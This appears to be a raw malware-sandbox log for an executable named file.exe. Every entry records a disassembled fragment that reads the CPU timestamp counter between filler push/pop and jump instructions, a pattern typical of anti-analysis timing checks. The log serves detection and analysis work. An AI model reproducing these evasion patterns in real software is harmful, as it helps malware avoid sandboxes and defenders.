Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8ADF second address: BC8AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a jbe 00007FF018BAC396h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jbe 00007FF018BAC396h 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8AFB second address: BC8B14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF018B87186h 0x0000000a jmp 00007FF018B8718Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCBDC second address: BCCBE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCE90 second address: BCCE96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCE96 second address: BCCE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCCFEE second address: BCD00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF018B87186h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FF018B87192h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD00D second address: BCD03C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FF018BAC3A9h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCD188 second address: BCD1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 ja 00007FF018B871A0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD39E9 second address: BD39ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3FEF second address: BD3FF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3FF5 second address: BD3FFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD3FFA second address: BD4000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4000 second address: BD4008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4008 second address: BD401A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF018B87186h 0x0000000a jnc 00007FF018B87186h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD426A second address: BD426E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4882 second address: BD4886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD4886 second address: BD488C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD9E9C second address: BD9EA4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BDD101 second address: BDD105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE4444 second address: BE444A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE444A second address: BE4450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE4D6D second address: BE4D7C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007FF018B87186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5943 second address: BE5957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE5957 second address: BE5980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF018B8718Dh 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF018B87192h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDF8E second address: BEDF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDAF1 second address: BEDB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Bh 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007FF018B87186h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDC6E second address: BEDC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDC74 second address: BEDC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDC78 second address: BEDC7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEDC7C second address: BEDC88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF018B87186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF0029 second address: BF002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC48E second address: BFC4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Eh 0x00000009 popad 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jmp 00007FF018B8718Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007FF018B87186h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC4B7 second address: BFC4DB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF018BAC396h 0x00000008 jmp 00007FF018BAC3A7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBF83 second address: BFBFA4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007FF018B87195h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C00804 second address: C0081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jo 00007FF018BAC3B6h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007FF018BAC396h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01F18 second address: C01F22 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF018B87192h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01F22 second address: C01F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01F28 second address: C01F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01F30 second address: C01F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FA6C second address: C0FA70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1636F second address: C16377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16377 second address: C1637D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1637D second address: C16382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C164E4 second address: C16523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B87193h 0x00000009 jmp 00007FF018B87196h 0x0000000e jmp 00007FF018B87191h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16692 second address: C166A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC39Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C167DC second address: C16812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Ah 0x00000009 popad 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pushad 0x0000000d jmp 00007FF018B8718Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FF018B87190h 0x00000019 popad 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16AB9 second address: C16AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007FF018BAC396h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16C42 second address: C16C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 je 00007FF018B87186h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16C4E second address: C16C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BCD8 second address: C1BCDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B879 second address: C1B888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FF018BAC396h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B888 second address: C1B899 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FF018B8718Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B899 second address: C1B8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B8A2 second address: C1B8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B8A8 second address: C1B8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BA12 second address: C1BA18 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BA18 second address: C1BA1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BA1E second address: C1BA3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B87198h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1BA3B second address: C1BA41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24CBA second address: C24CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C24CBE second address: C24CC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2AA32 second address: C2AA36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2AA36 second address: C2AA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007FF018BAC3A1h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C271CE second address: C271D8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF018B8718Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C271D8 second address: C271EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007FF018BAC398h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C271EA second address: C271F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B8718Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C271F8 second address: C271FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C271FC second address: C27202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C27202 second address: C2720C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BC4F second address: C3BC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BC59 second address: C3BC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BABD second address: C3BAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3BAC3 second address: C3BAEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A8h 0x00000007 jng 00007FF018BAC396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3D33A second address: C3D348 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007FF018B87186h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57A6C second address: C57A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57A72 second address: C57A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57A7E second address: C57A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57FC8 second address: C57FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57FCC second address: C57FD6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF018BAC396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57FD6 second address: C58000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FF018B87194h 0x0000000c jg 00007FF018B87186h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007FF018B87186h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58000 second address: C58004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C582DB second address: C582E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B27C second address: C5B2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FF018BAC39Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007FF018BAC396h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B2AC second address: C5B2B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5B2B2 second address: C5B2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5DD21 second address: C5DD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5DD25 second address: C5DD54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FF018BAC3A6h 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF018BAC39Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F889 second address: C5F88F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F88F second address: C5F89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F89B second address: C5F8B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B87194h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5F8B5 second address: C5F8BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C613E2 second address: C613E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C613E6 second address: C613EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B78E4F second address: B78E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF018B8718Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B791A5 second address: B791BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018BAC3A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910475 second address: 491049C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF018B87190h 0x0000000a sub si, 5C88h 0x0000000f jmp 00007FF018B8718Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491049C second address: 49104BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, AC2Ah 0x00000007 push edi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FF018BAC3A2h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49104BF second address: 49104C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49104C5 second address: 49104C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49104C9 second address: 491052D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF018B8718Fh 0x00000012 sub ah, FFFFFFDEh 0x00000015 jmp 00007FF018B87199h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FF018B87190h 0x00000021 adc cx, 36D8h 0x00000026 jmp 00007FF018B8718Bh 0x0000002b popfd 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491052D second address: 4910531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910531 second address: 4910535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910535 second address: 491053B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
